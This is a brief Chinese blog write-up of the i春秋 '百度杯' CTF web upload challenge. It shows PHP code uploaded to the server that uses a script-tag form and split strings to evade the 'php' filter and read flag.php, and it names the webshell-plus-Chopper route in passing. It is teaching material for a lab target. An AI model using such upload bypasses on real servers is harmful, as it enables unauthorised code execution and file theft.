i春秋-web-upload（文件内容读取）(“百度杯”九月场)

原创

大千SS 于 2019-01-16 20:07:57 发布 445 收藏
分类专栏： i春秋 文章标签： i春秋 web

本文链接：https://blog.csdn.net/zz_Caleb/article/details/86513845

提示很明显，flag在flag.php中，所以，任务就是获取flag.php的内容。

方法一：一句话+菜刀（不再叙述）

方法二：上传脚本，使脚本拥有一定权限，再输出flag

先造一个php脚本

```
<script language="PHP">
   echo((file_get_contents('flag.'.'p'.'h'.'p')));
</script>
```

访问结果为空白，源码也没有什么东西。
原因是php脚本上传在了一个没有执行权限的文件夹下或是没找到flag.php，于是向上级目录探索：

```
<script language="PHP">
   echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>
```

返回空白，查看源码拿到flag。